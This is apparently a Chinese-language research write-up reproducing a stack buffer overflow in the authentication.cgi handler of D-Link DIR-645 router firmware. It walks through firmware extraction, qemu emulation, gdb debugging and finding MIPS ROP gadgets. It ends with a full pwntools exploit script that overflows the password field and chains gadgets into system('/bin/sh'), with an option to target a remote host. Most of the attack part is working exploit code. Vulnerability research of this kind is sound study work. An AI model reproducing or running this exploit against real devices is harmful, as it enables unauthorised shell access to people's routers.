复现的过程实际上更多学习的是漏洞挖掘的思路,站在挖掘者的角度去思考

漏洞介绍

image-20241009193534552

从漏洞报告来看这个漏洞主要是因为authentication.cgi造成的栈溢出导致的。

前置步骤

固件下载

1
https://files.dlink.com.au/products/DIR-645/REV_A/Firmware/DIR645_FW103B11/

固件提取

1
binwalk -Me DIR645A1_FW103B11.bin

漏洞分析

定位漏洞程序

1
find . -name authentication.*

查看authentication.cgi发现重定向的是cgibin

image-20241009193653426

查看漏洞程序文件格式

1
readelf -h cgibin

image-20241009193742347

MIPS架构的小端序

确定架构方便我们之后配合qemu模拟进行动态分析

代码分析

首先定位到cgibin中的authentication_main函数部分,对应的是authentication.cgi

因为漏洞是栈溢出,所以如果想先验证此漏洞需要传入能造成溢出的padding来找到溢出的地方,但是一般路由器的数据发包都会验证一些web环境变量,比如REQUEST_METHODCONTENT_TYPECONTENT_LENGTH等等。通过静态分析和动态调试一步一步确认需要哪些环境变量然后再传入参数来寻找漏洞点。

authenticationcgi_main

这个函数处理的是登陆时的请求包,先验证存在REQUEST_METHODREMOTE_ADDRCONTENT_TYPEREQUEST_URICONTENT_LENGTH等环境变量以及参数uidpassword

其中REQUEST_METHOD对应的是POST方法,REMOTE_ADDR可以设置为127.0.0.1CONTENT_TYPEapplication/x-www-form-urlencodedREQUEST_URI为**/authentication.cgi**(相对于htdocs/web/)、CONTENT_LENGTH为参数长度。

gdb调试

选择利用qemu用户态进行模拟配合pwntools的gdb.attach进行调试

chroot .指定qemu模拟的根目录,这样才能正确寻找到lib库

1
2
3
4
5
p = process(f'chroot . ./qemu-mipsel-static -E REQUEST_METHOD=POST -E REMOTE_ADDR=127.0.0.1 -E CONTENT_TYPE=application/x-www-form-urlencoded -E REQUEST_URI=/authentication.cgi -E CONTENT_LENGTH={len(i)} -g 1234 /htdocs/web/authentication.cgi'.split( ))
gdb.attach(('127.0.0.1',1234),'''
b *0x0040BCE0
sleep(2)
''',exe='./htdocs/cgibin')

这里qemu进行调试指定的路径必须是**/htdocs/web/authentication.cgi**才能断下断点

发送数据包调试后发现此处的read读取的就是POST传入的uidpassword

当传入大量的数据后,就会导致栈溢出

计算偏移为0x42c,之后寻找gadget触发system(‘/bin/sh’)。

寻找gadget

DIR645跟DIR815的漏洞一致,利用相同的gadget也能利用

利用mipsrop寻找gadget

1
2
3
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()
mipsrop.stackfinders()

image-20241009200315164

可以选用0x159CC处的gadget,将sp+0x10赋值给a0当作参数,再寻找一个能控制调用system的函数

image-20241009200515355

0x000158C8处的gadget符合条件将s0+1并跳转执行s5。

EXP利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
i = 'A'*(0x42c - 18 + 4 + 96)

input_data = f"uid=A21G&password={i}"
p = process(f'chroot . ./qemu-mipsel-static -E REQUEST_METHOD=POST -E REMOTE_ADDR=127.0.0.1 -E CONTENT_TYPE=application/x-www-form-urlencoded -E REQUEST_URI=/authentication.cgi -E CONTENT_LENGTH={len(i)} -g 1234 /htdocs/web/authentication.cgi'.split( ))
gdb.attach(('127.0.0.1',1234),'''
b *0x40B500
sleep(2)
''',exe='./htdocs/cgibin')
elf = ELF('./htdocs/cgibin')
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./htdocs/cgibin')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./lib/libuClibc-0.9.30.1.so')
libc_base = 0x3ff6d050 - libc.symbols['strncpy']
lg('libc_base', libc_base)

system = libc_base + libc.symbols['system']
lg("system_addr",system)

gadget1 = 0x000158C8
gadget2 = 0x000159CC


jmp_fp = 0x0003DB94 + libc_base
# padding
# $sp+0x400+0x20 s0
# $sp+0x400+0x20 s1
# $sp+0x400+0x20 s2
# $sp+0x400+0x20 s3
# $sp+0x400+0x20 s4
# $sp+0x400+0x20 s5
# $sp+0x400+0x20 s6
# $sp+0x400+0x20 s7
# $sp+0x400+0x20 fp
# $sp+0x400+0x24 $ra

cmd = b'/bin/sh'

padding = p32(system -1)#s0
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += p32(libc_base+gadget2)#s5
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += p32(libc_base+gadget1)#ra

padding += b'A' * 0x10
padding += cmd


payload = b'uid=A21G&password=' + b'A'*(0x42c-18-36) + padding
sl(payload)


inter()

漏洞逻辑不难,主要是要熟悉mips架构的函数调用规则以及寻找合适的gadget,多调试调试

image-20241009200636306